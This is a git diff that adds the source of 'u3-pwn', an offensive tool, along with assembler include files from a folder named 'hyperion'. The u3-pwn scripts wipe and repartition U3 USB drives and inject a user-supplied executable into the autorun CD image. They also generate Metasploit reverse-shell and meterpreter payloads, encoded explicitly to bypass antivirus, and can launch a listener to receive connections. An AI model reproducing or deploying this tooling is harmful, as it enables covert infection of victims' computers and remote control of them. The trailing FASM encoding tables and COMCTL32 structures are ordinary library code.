import shutil + import banner +except ImportError: + pass + +definepath = os.getcwd() +sys.path.append('%s/src/' % definepath) + + +devlist=[] +devices=[1] + +banner.print_banner() + +for num in devices: + dev = raw_input("\nEnter the device to change iso image on (example sdb1):") + devlist.append(str(dev)) + +try: + banner.print_banner() + #format and create a new partition on virtual cd partition using u3-tool + print '\nCreating partition of 8058880 bytes on /dev/%s ' % devlist[0] + child1 = pexpect.spawn('u3-tool -v -p 8058880 /dev/' + devlist[0]) + #Accepts warning that the device will be formatted + #WARNING: Loading a new cd image causes the whole device to be whiped. This INCLUDES the data partition. + #I repeat: ANY EXCISTING DATA WILL BE LOST! + #Are you sure you want to continue? [yn] + child1.sendline('y') + time.sleep(2) + + #inserts new iso file to virtual rom devices using u3-tool + banner.print_banner() + print '\nInserting new iso file to /dev/%s\n' % devlist[0] + subprocess.Popen('u3-tool -l "/home/zy0d0x/programming/u3-pwn/src/system.iso" /dev/%s' % (devlist[0]), shell=True).wait() + banner.print_banner() + print '\nSuccessfully backed up /dev/%s' % devlist[0] + time.sleep(2) + + + + +except Exception, error: + print '\n[-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + diff --git a/backdoor/u3-pwn/source/src/compat.py b/backdoor/u3-pwn/source/src/compat.py new file mode 100755 index 0000000..39ff93b --- /dev/null +++ b/backdoor/u3-pwn/source/src/compat.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_- 0: + if deviceName.startswith("sd"): + print "\n Partition Found: /dev/%s1" % deviceName + time.sleep(2) + + + +except Exception, error: + print '[-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + + + +try: + payload = str(raw_input('\n Please enter filepath & executerble name example(/root/evil.exe): ').strip()) + + if payload.endswith('.exe'): + #Rename File To LaunchU3.exe + shutil.copy(payload, 'resource/LaunchU3.exe') + file = open('resource/LaunchU3.bat', 'w') + file.write('LaunchU3.exe ') + file.close() + + #Create Iso with custom exe + subprocess.Popen('genisoimage -volid U3\ System -o resource/U3\ System.iso resource/', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + + banner.print_banner() + if deviceName.startswith("sda"): + print 'No Device Found, Returning To Menu' + time.sleep(2) + else: + print '\nCreating a new partition of 8058880 bytes on /dev/%s\n' % deviceName + #Accepts warning that the device will be formatted + #WARNING: Loading a new cd image causes the whole device to be whiped. This INCLUDES the data partition. + #I repeat: ANY EXCISTING DATA WILL BE LOST! + #Are you sure you want to continue? [yn] + child1 = pexpect.spawn('u3-tool -v -p 8058880 /dev/' + deviceName) + child1.sendline('y') + time.sleep(5) + print'\nPartitioning completed on /dev/%s' % deviceName + banner.print_banner() + print'\nInserting new iso to virtual rom partition on /dev/%s\n' % deviceName + + #inserts new iso file to virtual rom devices using u3-tool + subprocess.Popen('u3-tool -v -l resource/U3\ System.iso /dev/%s' % deviceName, shell=True).wait() + print '\nCustom Exe Succfully injected into /dev/%s\n' % deviceName + time.sleep(2) + +except Exception, error: + print '[-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + + + +try: + #Clean up left over files from iso creation + os.remove('resource/LaunchU3.exe') + os.remove('resource/LaunchU3.bat') + os.system('rm resource/U3\ System.iso') + shutil.copy('backup/LaunchU3.exe', 'resource/LaunchU3.exe') + +except Exception, error: + print '[-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + diff --git a/backdoor/u3-pwn/source/src/deviceinfo.py b/backdoor/u3-pwn/source/src/deviceinfo.py new file mode 100755 index 0000000..71a1044 --- /dev/null +++ b/backdoor/u3-pwn/source/src/deviceinfo.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_- 0: + if deviceName.startswith("sd"): + print "\n Partition Found: /dev/%s1" % deviceName + time.sleep(2) + + + +except KeyboardInterrupt: + print'\n[-]Keyboard Interrupted Exiting' + time.sleep(2) + sys.exit(0) +except Exception, error: + print '[-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + + + +try: + dev = deviceName + banner.print_banner() + + if dev.startswith('sda'): + print 'No Devices Found' + time.sleep(2) + + else: + print '\n=================================\n' + print '\nDevice information for /dev/%s\n' % deviceName + print '\n=================================\n' + p = subprocess.Popen('u3-tool -D /dev/%s' % (deviceName),shell=True).wait() + + raw_input('\nPress Enter To Continue..') + +except Exception, error: + print '[-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + + + + + + + + + diff --git a/backdoor/u3-pwn/source/src/generator.py b/backdoor/u3-pwn/source/src/generator.py new file mode 100755 index 0000000..1da688b --- /dev/null +++ b/backdoor/u3-pwn/source/src/generator.py @@ -0,0 +1,273 @@ +#!/usr/bin/env python +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_- 0: + if deviceName.startswith("sd"): + print "\n Partition Found: /dev/%s1" % deviceName + time.sleep(2) + + +except Exception, error: + print ' [-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + +try: + banner.print_banner() + shellcode = ['windows/shell/reverse_tcp', + 'windows/meterpreter/reverse_tcp', + 'windows/vncinject/reverse_tcp', + 'windows/shell/bind_tcp', + 'windows/x64/shell/reverse_tcp', + 'windows/meterpreter/reverse_https', + 'windows/meterpreter/reverse_dns' ]; + + payload = raw_input(''' What payload do you want to generate: + + Name: Description: + ----- ------------ + + 1. Windows Shell Reverse_TCP Windows Command Shell, Reverse TCP Stager + 2. Windows Reverse_TCP Meterpreter Windows Meterpreter (Reflective Injection), Reverse TCP Stager + 3. Windows Reverse_TCP VNC DLL VNC Server (Reflective Injection), Reverse TCP Stager + 4. Windows Bind Shell Windows Command Shell, Bind TCP Stager + 7. Windows Meterpreter Reverse_TCP X64 Windows x64 Meterpreter, Windows x64 Reverse TCP Stager + 8. Windows Meterpreter Reverse HTTPS Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager + 9. Windows Meterpreter Reverse DNS Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS) + + Enter number: ''').strip() + + try: + #only accept integer's + payload = int(payload) + if (payload > 0) and (payload < 10): + shellcode[payload-1] + except ValueError: + pass + + while True: + #Loop to check user input if value is correct else loop + try: + int(payload) + while int(payload) not in range(1, 10): + payload = raw_input(' Enter number:') + break + + except ValueError: + payload = raw_input(' Enter number:') + try: + #only accept integer's + payload = int(payload) + if (payload > 0) and (payload < 10): + shellcode[payload-1] + except ValueError: + pass + +except KeyboardInterrupt: + print ' [-]Keyboard Interrupt Detected Exiting' + time.sleep(2) + sys.exit(0) + +except Exception, error: + print ' [-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + + + +try: + banner.print_banner() + #List of available encoders + encoders = [ 'x86/shikata_ga_nai', + 'x86/alpha_mixed', + 'x86/alpha_upper', + 'x86/call4_dword_xor', + 'x86/countdown', + 'x86/fnstenv_mov', + 'x86/jmp_call_additive']; + + encode = raw_input(''' What encoder would you like to try and bypass AV with. + + Name: Description: + ----- ----------- + + 1. shikata_ga_nai Polymorphic XOR Additive Feedback Encoder + 2. alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder + 3. alpha_upper Alpha2 Alphanumeric Uppercase Encoder + 4. call4_dword_xor Call+4 Dword XOR Encoder + 5. countdown Single-byte XOR Countdown Encoder + 6. fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder + 7. jmp_call_additive Jump/Call XOR Additive Feedback Encoder + + + + Enter number: ''').strip() + try: + #only accept integer's + encode = int(encode) + if (encode > 0) and (encode < 8): + encoders[encode-1] + except ValueError: + pass + + while True: + #Loop to check user input if value is correct else loop + try: + int(encode) + while int(encode) not in range(1, 8): + encode = raw_input(' Enter number:') + break + + except ValueError: + encode = raw_input(' Enter number:') + try: + #only accept integer's + encode = int(encode) + if (encode > 0) and (encode < 8): + encoders[encode-1] + except ValueError: + pass + +except KeyboardInterrupt: + print ' [-]Keyboard Interrupt Detected Exiting' + time.sleep(2) + sys.exit(0) +except Exception, error: + print ' [-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + + +while True: + banner.print_banner() + addr = raw_input(' Please Enter Ip addr: ') + try: + if addr is not socket.inet_aton(addr): + banner.print_banner() + port = raw_input(' Please Enter Port No: ') + if port is not socket.inet_aton(port): + banner.print_banner() + print ' Generating Shellcode Please Wait...' + subprocess.Popen('msfpayload %s EXITFUNC=thread LHOST=%s LPORT=%s R | msfencode -c 2 -e %s -t raw | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX > resource/payload.txt' % (shellcode[payload-1], addr, port, encoders[encode-1] ), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True).wait() + alpha = open('resource/payload.txt', 'r') + text = alpha.readline() + file = open('resource/LaunchU3.bat', 'w') + file.write('LaunchU3.exe ' + text) + file.close() + os.remove('resource/payload.txt') + shutil.copy('backup/LaunchU3.exe', 'resource/LaunchU3.exe') + subprocess.Popen('genisoimage -volid U3\ System -o resource/U3\ System.iso resource/' , stderr=subprocess.PIPE,shell=True).wait() + banner.print_banner() + print ' Creating a new partition of 1302528 bytes on /dev/%s\n' % deviceName + child1 = pexpect.spawn('u3-tool -v -p 1302528 /dev/%s' + deviceName) + child1.sendline('y') + time.sleep(5) + print' Partitioning completed on /dev/%s' % deviceName + banner.print_banner() + print' Replacing Iso on /dev/%s' % deviceName + subprocess.Popen('u3-tool -v -l resource/U3\ System.iso /dev/%s' % deviceName, shell=True).wait() + break + except socket.error: + print' Error incorrect IP address or port number' + time.sleep(2) + except Exception, error: + print ' [-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + + + +try: + banner.print_banner() + os.remove('resource/LaunchU3.exe') + os.system('rm resource/U3\ System.iso') + os.remove('resource/LaunchU3.bat') + listener = raw_input(' Do you want to start a listener to receive the payload yes or no: ') + + if listener == 'yes' or listener == 'y': + banner.print_banner() + subprocess.Popen('msfcli exploit/multi/handler PAYLOAD=%s LHOST=0.0.0.0 LPORT=%s E' % (shellcode[payload-1], port), shell=True).wait() + + else: + banner.print_banner() + print' Generation Complete Exiting..' + time.sleep(2) + sys.exit(0) + +except Exception, error: + print ' [-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) diff --git a/backdoor/u3-pwn/source/u3-pwn.py b/backdoor/u3-pwn/source/u3-pwn.py new file mode 100755 index 0000000..865a454 --- /dev/null +++ b/backdoor/u3-pwn/source/u3-pwn.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_- 0C0h + if char < 0E0h + wide = char and 11111b + load char byte from ..input:current + wide = wide shl 6 + (char and 111111b) + current = current + 1 + else if char < 0F0h + wide = char and 1111b + load char byte from ..input:current + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+1 + wide = wide shl 6 + (char and 111111b) + current = current + 2 + else if char < 0F8h + wide = char and 111b + load char byte from ..input:current + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+1 + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+2 + wide = wide shl 6 + (char and 111111b) + current = current + 3 + else if char < 0FCh + wide = char and 11b + load char byte from ..input:current + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+1 + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+2 + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+3 + wide = wide shl 6 + (char and 111111b) + current = current + 4 + else + wide = char and 1 + load char byte from ..input:current + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+1 + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+2 + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+3 + wide = wide shl 6 + (char and 111111b) + load char byte from ..input:current+4 + wide = wide shl 6 + (char and 111111b) + current = current + 5 + end if + end if + if wide < 10000h + dw wide + else + dw 0D7C0h + wide shr 10,0DC00h or (wide and 3FFh) + end if + end while + else + dw arg + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1250.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1250.INC new file mode 100755 index 0000000..6769061 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1250.INC @@ -0,0 +1,36 @@ + +; Windows 1250 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,?,201Ah,?,201Eh,2026h,2020h,2021h,?,2030h,160h,2039h,15Ah,164h,17Dh,179h + dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,?,2122h,161h,203Ah,15Bh,165h,17Eh,17Ah + dw 0A0h,2C7h,2D8h,141h,0A4h,104h,0A6h,0A7h,0A8h,0A9h,15Eh,0ABh,0ACh,0ADh,0AEh,17Bh + dw 0B0h,0B1h,2DBh,142h,0B4h,0B5h,0B6h,0B7h,0B8h,105h,15Fh,0BBh,13Dh,2DDh,13Eh,17Ch + dw 154h,0C1h,0C2h,102h,0C4h,139h,106h,0C7h,10Ch,0C9h,118h,0CBh,11Ah,0CDh,0CEh,10Eh + dw 110h,143h,147h,0D3h,0D4h,150h,0D6h,0D7h,158h,16Eh,0DAh,170h,0DCh,0DDh,162h,0DFh + dw 155h,0E1h,0E2h,103h,0E4h,13Ah,107h,0E7h,10Dh,0E9h,119h,0EBh,11Bh,0EDh,0EEh,10Fh + dw 111h,144h,148h,0F3h,0F4h,151h,0F6h,0F7h,159h,16Fh,0FAh,171h,0FCh,0FDh,163h,2D9h +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1251.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1251.INC new file mode 100755 index 0000000..95d0da8 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1251.INC @@ -0,0 +1,33 @@ + +; Windows 1251 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 401h,403h,201Ah,453h,201Eh,2026h,2020h,2021h,20ACh,2030h,409h,2039h,40Ah,40Ch,40Bh,40Fh + dw 452h,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,?,2122h,459h,203Ah,45Ah,45Ch,45Bh,45Fh + dw 0A0h,40Eh,45Eh,408h,0A4h,490h,0A6h,0A7h,401h,0A9h,404h,0ABh,0ACh,0ADh,0AEh,407h + dw 0B0h,0B1h,406h,456h,491h,0B5h,0B6h,0B7h,451h,2116h,454h,0BBh,458h,405h,455h,457h + times 40h dw 410h+%-1 +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1252.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1252.INC new file mode 100755 index 0000000..73fac54 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1252.INC @@ -0,0 +1,31 @@ + +; Windows 1252 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,?,201Ah,192h,201Eh,2026h,2020h,2021h,2C6h,2030h,160h,2039h,152h,?,17D,? + dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,2DCh,2122h,161h,203Ah,153h,?,17Eh,178h + times 60h dw 0A0h+%-1 +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1253.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1253.INC new file mode 100755 index 0000000..8941f8d --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1253.INC @@ -0,0 +1,33 @@ + +; Windows 1253 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,?,201Ah,192h,201Eh,2026h,2020h,2021h,?,2030h,?,2039h,?,?,?,? + dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,?,2122h,?,203Ah,?,?,?,? + dw 0A0h,385h,386h,0A3h,0A4h,0A5h,0A6h,0A7h,0A8h,0A9h,?,0ABh,0ACh,0ADh,0AEh,2015h + dw 0B0h,0B1h,0B2h,0B3h,384h,0B5h,0B6h,0B7h,288h,389h,38Ah,0BBh,38Ch,0BDh,38Eh,38Fh + times 40h dw 390h+%-1 +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1254.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1254.INC new file mode 100755 index 0000000..bf862ab --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1254.INC @@ -0,0 +1,34 @@ + +; Windows 1254 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,?,201Ah,192h,201Eh,2026h,2020h,2021h,2C6h,2030h,160h,2039h,152h,?,?,? + dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,2DCh,2122h,161h,203Ah,153h,?,?,178h + times 30h dw 0A0h+%-1 + dw 11Eh,0D1h,0D2h,0D3h,0D4h,0D5h,0D6h,0D7h,0D8h,0D9h,0DAh,0DBh,0DCh,130h,15Eh,0DFh + times 10h dw 0E0h+%-1 + dw 11Fh,0F1h,0F2h,0F3h,0F4h,0F5h,0F6h,0F7h,0F8h,0F9h,0FAh,0FBh,0FCh,131h,15Fh,0FFh +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1255.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1255.INC new file mode 100755 index 0000000..77618d7 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1255.INC @@ -0,0 +1,36 @@ + +; Windows 1255 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,?,201Ah,192h,201Eh,2026h,2020h,2021h,2C6h,2030h,?,2039h,?,?,?,? + dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,2DCh,2122h,?,203Ah,?,?,?,? + dw 0A0h,0A1h,0A2h,0A3h,20AAh,0A5h,0A6h,0A7h,0A8h,0A9h,0D7h,0ABh,0ACh,0ADh,0AEh,0AFh + dw 0B0h,0B1h,0B2h,0B3h,0B4h,0B5h,0B6h,0B7h,0B8h,0B9h,0F7h,0BBh,0BCh,0BDh,0BEh,0BFh + dw 5B0h,5B1h,5B2h,5B3h,5B4h,5B5h,5B6h,5B7h,5B8h,5B9h,?,5BBh,5BCh,5BDh,5BEh,5BFh + dw 5C0h,5C1h,5C2h,5C3h,5F0h,5F1h,5F2h,5F3h,5F4h,?,?,?,?,?,?,? + dw 5D0h,5D1h,5D2h,5D3h,5D4h,5D5h,5D6h,5D7h,5D8h,5D9h,5DAh,5DBh,5DCh,5DDh,5DEh,5DFh + dw 5E0h,5E1h,5E2h,5E3h,5E4h,5E5h,5E6h,5E7h,5E8h,5E9h,5EAh,?,?,200Eh,200Fh,? +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1256.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1256.INC new file mode 100755 index 0000000..6634f78 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1256.INC @@ -0,0 +1,36 @@ + +; Windows 1256 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,67Eh,201Ah,192h,201Eh,2026h,2020h,2021h,2C6h,2030h,679h,2039h,152h,686h,698h,688h + dw 6AFh,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,6A9h,2122h,691h,203Ah,153h,200Ch,200Dh,6BAh + dw 0A0h,60Ch,0A2h,0A3h,0A4h,0A5h,0A6h,0A7h,0A8h,0A9h,6BEh,0ABh,0ACh,0ADh,0AEh,0AFh + dw 0B0h,0B1h,0B2h,0B3h,0B4h,0B5h,0B6h,0B7h,0B8h,0B9h,0BAh,0BBh,0BCh,0BDh,0BEh,0BFh + dw 6C1h,621h,622h,623h,624h,625h,626h,627h,628h,629h,62Ah,62Bh,62Ch,62Dh,62Eh,62Fh + dw 630h,631h,632h,633h,634h,635h,636h,0D7h,637h,638h,639h,63Ah,640h,641h,642h,643h + dw 0E0h,644h,0E2h,645h,646h,647h,648h,0E7h,0E8h,0E9h,0EAh,0EBh,649h,64Ah,0EEh,0EFh + dw 64Bh,64Ch,64Dh,64Eh,0F4h,64Fh,650h,0F7h,651h,0F9h,652h,0FBh,0FCh,200Eh,200Fh,6D2h +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1257.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1257.INC new file mode 100755 index 0000000..e4f9a41 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1257.INC @@ -0,0 +1,36 @@ + +; Windows 1257 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,?,201Ah,?,201Eh,2026h,2020h,2021h,?,2030h,?,2039h,?,0A8h,2C7h,0B8h + dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,?,2122h,?,203Ah,?,0AFh,2DBh,? + dw 0A0h,?,0A2h,0A3h,0A4h,?,0A6h,0A7h,0D8h,0A9h,156h,0ABh,0ACh,0ADh,0AEh,0C6h + dw 0B0h,0B1h,0B2h,0B3h,0B4h,0B5h,0B6h,0B7h,0F8h,0B9h,157h,0BBh,0BCh,0BDh,0BEh,0E6h + dw 104h,12Eh,100h,106h,0C4h,0C5h,118h,112h,10Ch,0C9h,179h,116h,122h,136h,12Ah,13Bh + dw 160h,143h,145h,0D3h,14Ch,0D5h,0D6h,0D7h,172h,141h,15Ah,16Ah,0DCh,17Bh,17Dh,0DFh + dw 105h,12Fh,101h,107h,0E4h,0E5h,119h,113h,10Dh,0E9h,17Ah,117h,123h,137h,12Bh,13Ch + dw 161h,144h,146h,0F3h,14Dh,0F5h,0F6h,0F7h,173h,142h,15Bh,16Bh,0FCh,17Ch,17Eh,2D9h +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1258.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1258.INC new file mode 100755 index 0000000..e524748 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN1258.INC @@ -0,0 +1,36 @@ + +; Windows 1258 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,?,201Ah,192h,201Eh,2026h,2020h,2021h,2C6h,2030h,?,2039h,152h,?,?,? + dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,2DCh,2122h,?,203Ah,153h,?,?,178h + dw 0A0h,0A1h,0A2h,0A3h,0A4h,0A5h,0A6h,0A7h,0A8h,0A9h,0AAh,0ABh,0ACh,0ADh,0AEh,0AFh + dw 0B0h,0B1h,0B2h,0B3h,0B4h,0B5h,0B6h,0B7h,0B8h,0B9h,0BAh,0BBh,0BCh,0BDh,0BEh,0BFh + dw 0C0h,0C1h,0C2h,102h,0C4h,0C5h,0C6h,0C7h,0C8h,0C9h,0CAh,0CBh,300h,0CDh,0CEh,0CFh + dw 110h,0D1h,309h,0D3h,0D4h,1A0h,0D6h,0D7h,0D8h,0D9h,0DAh,0DBh,0DCh,1AFh,303h,0DFh + dw 0E0h,0E1h,0E2h,103h,0E4h,0E5h,0E6h,0E7h,0E8h,0E9h,0EAh,0EBh,301h,0EDh,0EEh,0EFh + dw 111h,0F1h,323h,0F3h,0F4h,1A1h,0F6h,0F7h,0F8h,0F9h,0FAh,0FBh,0FCh,1B0h,20ABh,0FFh +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN874.INC b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN874.INC new file mode 100755 index 0000000..5b7833c --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/ENCODING/WIN874.INC @@ -0,0 +1,31 @@ + +; Windows 874 + +rept 1 { local ..encoding + __encoding equ ..encoding } + +virtual at 0 + __encoding:: + times 80h dw %-1 + dw 20ACh,?,?,?,?,2026h,?,?,?,?,?,?,?,?,?,? + dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,?,?,?,?,?,?,?,? + times 60h dw 0E00h+%-1 +end virtual + +macro du [arg] + { local offset,char + offset = $-$$ + du arg + if arg eqtype '' + repeat ($-offset-$$)/2 + load char byte from $$+offset+(%-1)*2 + if char > 7Fh + load char word from __encoding:char*2 + store word char at $$+offset+(%-1)*2 + end if + end repeat + end if } + +struc du [args] + { common label . word + du args } diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMCTL32.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMCTL32.INC new file mode 100755 index 0000000..e275196 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMCTL32.INC @@ -0,0 +1,1869 @@ + +; COMCTL32.DLL structures and constants + +struct PROPSHEETPAGE + dwSize dd ? + dwFlags dd ? + hInstance dd ? + pszTemplate dd ? + pszIcon dd ? + pszTitle dd ? + pfnDlgProc dd ? + lParam dd ? + pfnCallback dd ? + pcRefParent dd ? +ends + +struct PROPSHEETHEADER + dwSize dd ? + dwFlags dd ? + hwndParent dd ? + hInstance dd ? + pszIcon dd ? + pszCaption dd ? + nPages dd ? + pStartPage dd ? + ppsp dd ? + pfnCallback dd ? +ends + +struct IMAGEINFO + hbmImage dd ? + hbmMask dd ? + Unused1 dd ? + Unused2 dd ? + rcImage RECT +ends + +struct HD_ITEM + mask dd ? + cxy dd ? + pszText dd ? + hbm dd ? + cchTextMax dd ? + fmt dd ? + lParam dd ? +ends + +struct HD_LAYOUT + prc dd ? + pwpos dd ? +ends + +struct HD_HITTESTINFO + pt POINT + flags dd ? + iItem dd ? +ends + +struct HD_NOTIFY + hdr NMHDR + iItem dd ? + iButton dd ? + pitem dd ? +ends + +struct TBBUTTON + iBitmap dd ? + idCommand dd ? + fsState db ? + fsStyle db ? + dw ? + dwData dd ? + iString dd ? +ends + +struct COLORMAP + from dd ? + to dd ? +ends + +struct TBADDBITMAP + hInst dd ? + nID dd ? +ends + +struct TBSAVEPARAMS + hkr dd ? + pszSubKey dd ? + pszValueName dd ? +ends + +struct TBREPLACEBITMAP + hInstOld dd ? + nIDOld dd ? + hInstNew dd ? + nIDNew dd ? + nButtons dd ? +ends + +struct NMTOOLBAR + hdr NMHDR + iItem dd ? + tbButton TBBUTTON + cchText dd ? + pszText dd ? +ends + +struct REBARINFO + cbSize dd ? + 